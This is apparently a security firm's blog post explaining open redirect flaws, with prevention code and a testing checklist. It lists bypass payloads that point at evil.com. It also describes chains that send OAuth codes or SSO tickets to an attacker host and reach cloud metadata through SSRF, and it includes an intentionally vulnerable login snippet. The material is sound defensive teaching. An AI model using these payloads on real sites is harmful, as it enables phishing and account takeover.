Skip to content
Fast-turnaround security assessments available — 10+ years development & security experienceGet started
vulnerabilityCWE-601OWASP A01:2021Typical severity: Medium

Open Redirects: The Underestimated Phishing Amplifier

·9 min read

Open Redirects: The Underestimated Phishing Amplifier

Open redirects sit in an uncomfortable place in vulnerability classification. They are routinely dismissed as informational or low-severity findings, yet they appear as a prerequisite in some of the most impactful attack chains in modern web applications. The vulnerability is simple: an application takes a URL from a request parameter and sends the user's browser to that URL without checking whether the destination is legitimate. The consequences range from convincing phishing campaigns to full account takeover through OAuth token theft.

The core issue is trust. Users trust the domain in their browser's address bar. When a link starts with login.legitimate-service.com, the average user — and many security-aware users — will click it. If that domain redirects them to an attacker-controlled page that looks identical to the login form, the phishing attack succeeds at a rate far higher than a link from a random domain would.

How Open Redirects Work

The most common pattern is a redirect parameter appended to a URL. After login, after logout, after completing an action — the application needs to send the user somewhere, and it reads that destination from the request:

https://app.example.com/login?redirect_url=https://app.example.com/dashboard

The application authenticates the user and then issues a redirect:

python
@app.route("/login", methods=["POST"])
def login():
    user = authenticate(request.form)
    if user:
        redirect_url = request.args.get("redirect_url", "/dashboard")
        return redirect(redirect_url)
    return render_template("login.html", error="Invalid credentials")

There is no validation on redirect_url. An attacker crafts:

https://app.example.com/login?redirect_url=https://evil.com/harvest

The user sees a link to app.example.com, logs in with real credentials (the login is genuine), and is then silently redirected to the attacker's page. The attacker's page can display a "session expired, please log in again" message, capturing credentials a second time — this time sending them to the attacker.

Common Redirect Parameters

Open redirects hide in many parameter names across different frameworks and applications:

?redirect_url=
?redirect_uri=
?return_to=
?next=
?url=
?dest=
?destination=
?redir=
?return_url=
?go=
?checkout_url=
?continue=
?target=
?rurl=
?forward=

Any parameter that controls where the user ends up after an action is a potential open redirect vector. Login flows, logout flows, email verification links, password reset completions, payment callbacks, and post-registration pages are all common locations.

URL Parsing Bypasses

Most developers who attempt to fix open redirects implement validation. Most of those implementations are bypassable because URL parsing is more complex than it appears.

Basic Domain Check Bypass

A naive check might verify that the URL contains the expected domain:

python
def is_safe_redirect(url):
    return "example.com" in url

This is trivially bypassed:

https://evil.com/example.com
https://example.com.evil.com
https://evil.com?x=example.com
https://evil.com#example.com

Protocol-Relative URLs

Validating that a URL starts with / (a relative path) seems safe, but protocol-relative URLs break this assumption:

//evil.com/path

A browser interprets //evil.com/path as a full URL using the current page's protocol. The validation sees a path starting with /, but the browser navigates to evil.com.

Backslash Confusion

Some URL parsers treat backslashes and forward slashes interchangeably, while others do not:

https://app.example.com/redirect?url=https://evil.com\@example.com

The parser may see example.com as the hostname (interpreting \@ as part of the userinfo component), while the browser navigates to evil.com.

URL Encoding and Double Encoding

https://app.example.com/redirect?url=https%3A%2F%2Fevil.com
https://app.example.com/redirect?url=https%253A%252F%252Fevil.com

If the application decodes the URL before validation but the redirect target is decoded again by the browser or a downstream component, double-encoded payloads slip through.

Userinfo Abuse

The URL specification allows a userinfo component before the hostname:

https://app.example.com@evil.com

A human reads app.example.com and trusts it. The browser sends the request to evil.com, treating app.example.com as the username component. Some browsers have mitigated this, but server-side redirect logic may still follow these URLs.

Null Bytes and Whitespace

https://evil.com%00.example.com
https://evil.com%0d%0a.example.com

Null bytes and control characters can terminate string comparisons in some languages while being ignored by HTTP clients, causing the validation to see example.com while the actual request goes to evil.com.

Chaining: Where Open Redirects Become Critical

The standalone impact of an open redirect is a more convincing phishing link. The real danger is what happens when open redirects chain with other mechanisms.

OAuth Token Theft

OAuth 2.0 uses a redirect_uri parameter to tell the authorization server where to send the authorization code after the user grants consent. Strict redirect_uri validation is required by the specification, but implementations vary.

Scenario 1: Lax redirect_uri matching. The OAuth provider allows any path under the registered domain. The attacker finds an open redirect on the application:

https://app.example.com/go?url=https://evil.com/steal

They register the OAuth flow with:

redirect_uri=https://app.example.com/go?url=https://evil.com/steal

The OAuth provider validates that the domain matches (app.example.com) and issues the authorization code. The application's open redirect forwards the code to the attacker:

https://evil.com/steal?code=AUTHORIZATION_CODE

The attacker exchanges the code for an access token. Account takeover complete.

Scenario 2: Exact redirect_uri matching with path traversal. Even with exact path matching, URL normalization differences between the OAuth provider and the application can create gaps. If the provider normalizes /../ sequences but the application does not (or vice versa), path traversal can redirect the callback to a different endpoint that contains an open redirect.

SSO Bypass

Single sign-on implementations often pass the target service URL as a parameter. If the SSO system redirects the authenticated user to a URL without strict validation, an attacker can redirect the SSO token or session to a malicious service, capturing the authentication artifact.

https://sso.corp.example.com/auth?service=https://evil.com/capture

The user authenticates against the legitimate SSO. The SSO system generates a service ticket and redirects the user — along with the ticket — to the attacker's server. The attacker replays the ticket against the legitimate service.

SSRF Escalation

When a server-side component follows redirects, an open redirect becomes an SSRF vector. An application that validates fetched URLs against an allowlist can be bypassed if the allowed URL returns a redirect:

python
# Server-side URL fetcher with allowlist
if urlparse(url).hostname in ALLOWED_HOSTS:
    response = requests.get(url, allow_redirects=True)  # Follows redirects

The attacker provides a URL on an allowed host that has an open redirect:

https://allowed-host.com/redirect?url=http://169.254.169.254/latest/meta-data/

The validation passes (the hostname is allowed). The request follows the redirect to the cloud metadata endpoint. The SSRF protection is completely bypassed, and the open redirect — a "low-severity" finding — has enabled access to cloud infrastructure credentials.

Content Security Policy Bypass

If a Content Security Policy includes a domain with an open redirect in its script-src or default-src directives, the redirect can be used to load scripts from arbitrary domains, bypassing the CSP entirely.

Real-World Impact

In a security assessment of a large e-commerce platform, the login flow contained an open redirect via the return_to parameter. The application checked that the URL started with /, but accepted protocol-relative URLs. The attacker crafted:

https://shop.example.com/login?return_to=//evil.com/phish

After logging in with valid credentials, the user was redirected to a clone of the checkout page. The clone requested payment card details to "verify the account." The legitimate login flow made the entire chain appear trustworthy.

In another engagement, a financial services platform used OAuth for third-party integrations. The OAuth provider matched redirect_uri by prefix rather than exact match. An open redirect on a marketing subdomain (info.platform.com/go?url=...) was within the allowed prefix. The redirect chain delivered authorization codes to an external server, granting full API access to user accounts including transaction history and balance information.

Prevention

Allowlist-Based Validation

The only reliable defense is an allowlist of permitted redirect destinations:

python
from urllib.parse import urlparse
 
ALLOWED_REDIRECT_HOSTS = {"app.example.com", "dashboard.example.com"}
ALLOWED_SCHEMES = {"https"}
 
def validate_redirect(url: str) -> str:
    """Validate and return a safe redirect URL, or fall back to default."""
    if not url:
        return "/dashboard"
 
    parsed = urlparse(url)
 
    # Block protocol-relative URLs
    if url.startswith("//"):
        return "/dashboard"
 
    # Allow relative paths (but not protocol-relative)
    if not parsed.scheme and not parsed.netloc:
        # Ensure it starts with / to prevent relative path tricks
        if url.startswith("/"):
            return url
        return "/dashboard"
 
    # Validate absolute URLs against allowlist
    if parsed.scheme not in ALLOWED_SCHEMES:
        return "/dashboard"
    if parsed.hostname not in ALLOWED_REDIRECT_HOSTS:
        return "/dashboard"
 
    return url

Indirect Reference Maps

Instead of passing raw URLs in parameters, use opaque tokens that map to destinations server-side:

python
REDIRECT_MAP = {
    "dashboard": "/dashboard",
    "settings": "/account/settings",
    "billing": "/account/billing",
}
 
@app.route("/login", methods=["POST"])
def login():
    user = authenticate(request.form)
    if user:
        target = request.args.get("next", "dashboard")
        redirect_url = REDIRECT_MAP.get(target, "/dashboard")
        return redirect(redirect_url)

The user never controls the actual URL. The parameter value is a key in a server-side dictionary. There is no URL to parse, no encoding to decode, no hostname to validate. The attack surface is eliminated.

Framework-Level Protections

Most modern web frameworks provide built-in redirect validation. Use them instead of implementing your own:

python
# Django's built-in safe redirect check
from django.utils.http import url_has_allowed_host_and_scheme
 
def login_view(request):
    redirect_to = request.POST.get("next", "/")
    if url_has_allowed_host_and_scheme(
        redirect_to,
        allowed_hosts={request.get_host()},
        require_https=True
    ):
        return HttpResponseRedirect(redirect_to)
    return HttpResponseRedirect("/")

OAuth-Specific Defenses

For OAuth implementations, enforce exact redirect_uri matching. Do not match by prefix, domain, or pattern. The registered redirect_uri and the one in the authorization request must be byte-for-byte identical. Reject requests where redirect_uri contains encoded characters, fragments, or unusual URL components.

Testing for Open Redirects

  1. Identify all redirect parameters — Login flows, logout flows, email links, payment callbacks, OAuth callbacks, deep links
  2. Test absolute URLs?next=https://evil.com
  3. Test protocol-relative URLs?next=//evil.com
  4. Test URL encoding?next=https%3A%2F%2Fevil.com
  5. Test backslash variations?next=https://evil.com\@legitimate.com
  6. Test userinfo abuse?next=https://legitimate.com@evil.com
  7. Test null bytes?next=https://evil.com%00.legitimate.com
  8. Test path-based redirects?next=/\evil.com, ?next=/.evil.com
  9. Verify OAuth redirect_uri matching — Is it exact, prefix, or pattern-based?
  10. Check server-side redirect following — Does the application follow redirects when fetching URLs?

Key Takeaways

Open redirects are a trust exploitation vulnerability. They convert the reputation of a legitimate domain into a weapon for phishing, token theft, and security control bypass. The standalone impact is moderate, but the chaining potential is severe:

  1. Open redirects amplify phishing by borrowing domain trust from legitimate applications
  2. OAuth and SSO flows are especially vulnerable because they transmit authentication artifacts via URL parameters
  3. Server-side redirect following turns open redirects into SSRF vectors
  4. URL parsing is complex enough that blocklist and pattern-based validation will eventually be bypassed
  5. Allowlists and indirect reference maps are the only reliable prevention strategies

The severity of an open redirect depends entirely on what it can be chained with. Before dismissing it as informational, check the OAuth flows, the SSO implementation, and any server-side URL fetching. The redirect itself may be low-impact; what it enables may not be.

Need your application tested for this? Get in touch.

Need your application tested?

We find these vulnerabilities in real applications every day. Get a comprehensive security assessment with detailed remediation.

Request an Assessment

Summary

Open redirect vulnerabilities let attackers hijack trusted domains to route users to malicious destinations. Often dismissed as low-severity, they become critical when chained with OAuth flows, SSO implementations, and server-side request forgery.

Key Takeaways

  • 1Open redirects allow attackers to abuse a trusted domain to send users to malicious sites, dramatically increasing phishing success rates
  • 2URL parsing inconsistencies between validation logic and browser behavior create bypass opportunities that blocklist approaches cannot fully address
  • 3OAuth and SSO flows are high-value chaining targets because a redirected callback URL can deliver authorization codes and tokens directly to an attacker
  • 4Open redirects can escalate to server-side request forgery when the redirect is followed by a backend service rather than a browser
  • 5Effective prevention requires strict allowlist validation of redirect destinations, avoiding user-controlled URLs in redirect parameters entirely where possible

Frequently Asked Questions

An open redirect occurs when a web application accepts a user-controlled URL parameter and redirects the browser to that URL without validating the destination. Attackers exploit this by crafting links that appear to originate from a trusted domain but redirect victims to phishing pages, malware downloads, or credential-harvesting sites.

OAuth flows rely on a redirect_uri parameter to send authorization codes back to the application after login. If the OAuth provider does not strictly validate redirect_uri, or if the legitimate application has an open redirect, an attacker can chain the two: the OAuth flow sends the code to the legitimate domain, which then redirects it to the attacker's server. The attacker exchanges the code for an access token and takes over the account.

Many vulnerability classification systems rate open redirects as low severity because the immediate impact is limited to redirecting a user to another site. However, this rating ignores chaining potential: open redirects amplify phishing attacks by leveraging domain trust, enable OAuth token theft, bypass SSRF protections through redirect following, and can circumvent content security policies. The true severity depends on what else the redirect enables.

Use an allowlist of permitted redirect destinations and validate against it on every request. Never rely on blocklist patterns or partial URL checks. For relative redirects, ensure the path cannot be manipulated to include protocol-relative URLs (//evil.com). Strip or ignore user-supplied redirect parameters entirely where possible, and use indirect references (mapping tokens to destinations server-side) instead of passing raw URLs.